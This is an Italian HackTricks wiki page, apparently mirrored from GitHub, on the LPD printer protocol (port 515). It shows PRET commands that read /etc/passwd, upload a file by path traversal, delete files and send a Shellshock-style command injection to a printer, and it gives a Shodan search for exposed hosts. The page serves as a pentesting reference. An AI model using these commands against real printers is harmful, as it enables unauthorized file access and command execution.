mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
31 lines
2.1 KiB
Markdown
31 lines
2.1 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
### **Introduzione al Protocollo LPD**
|
|
|
|
Negli anni '80, il **protocollo Line Printer Daemon (LPD)** è stato sviluppato in Berkeley Unix, che in seguito è stato formalizzato attraverso l'RFC1179. Questo protocollo opera sulla porta 515/tcp, consentendo interazioni tramite il comando `lpr`. L'essenza della stampa tramite LPD implica l'invio di un **file di controllo** (per specificare i dettagli del lavoro e dell'utente) insieme a un **file di dati** (che contiene le informazioni di stampa). Mentre il file di controllo consente la selezione di **vari formati di file** per il file di dati, la gestione di questi file è determinata dall'implementazione specifica di LPD. Un'implementazione ampiamente riconosciuta per sistemi simili a Unix è **LPRng**. È importante notare che il protocollo LPD può essere sfruttato per eseguire **PostScript malevoli** o **lavori di stampa PJL**.
|
|
|
|
### **Strumenti per Interagire con le Stampanti LPD**
|
|
|
|
[**PRET**](https://github.com/RUB-NDS/PRET) introduce due strumenti essenziali, `lpdprint` e `lpdtest`, che offrono un metodo semplice per interagire con le stampanti compatibili con LPD. Questi strumenti consentono una gamma di azioni, dalla stampa di dati alla manipolazione di file sulla stampante, come il download, l'upload o la cancellazione:
|
|
```python
|
|
# To print a file to an LPD printer
|
|
lpdprint.py hostname filename
|
|
# To get a file from the printer
|
|
lpdtest.py hostname get /etc/passwd
|
|
# To upload a file to the printer
|
|
lpdtest.py hostname put ../../etc/passwd
|
|
# To remove a file from the printer
|
|
lpdtest.py hostname rm /some/file/on/printer
|
|
# To execute a command injection on the printer
|
|
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
|
# To send a mail through the printer
|
|
lpdtest.py hostname mail lpdtest@mailhost.local
|
|
```
|
|
Per gli individui interessati ad esplorare ulteriormente il campo del **printer hacking**, una risorsa completa può essere trovata qui: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
|
|
|
# Shodan
|
|
|
|
- `port 515`
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|